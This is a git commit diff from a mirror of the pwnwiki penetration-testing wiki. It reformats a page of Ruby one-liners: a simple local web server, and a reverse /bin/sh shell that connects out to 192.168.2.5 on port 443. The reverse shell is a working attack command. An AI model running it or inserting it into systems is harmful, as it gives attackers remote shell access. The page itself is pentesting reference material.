mirror of
https://github.com/oXis/pwnwiki.github.io.git
synced 2025-10-29 16:56:59 +00:00
Adding content from the Google Docs form submissions
This commit is contained in:
@@ -4,9 +4,9 @@ One liners
|
||||
-----------
|
||||
|
||||
**Start a web server that serves the local files from current directory on port 8001**
|
||||
|
||||
```ruby -run -e httpd -- -p 8001 .```
|
||||
```ruby
|
||||
ruby -run -e httpd -- -p 8001 .```
|
||||
|
||||
**Reverse /bin/sh shell on port 443 from [pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)**
|
||||
|
||||
```ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'```
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("192.168.2.5",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'```
|
||||
Reference in New Issue
Block a user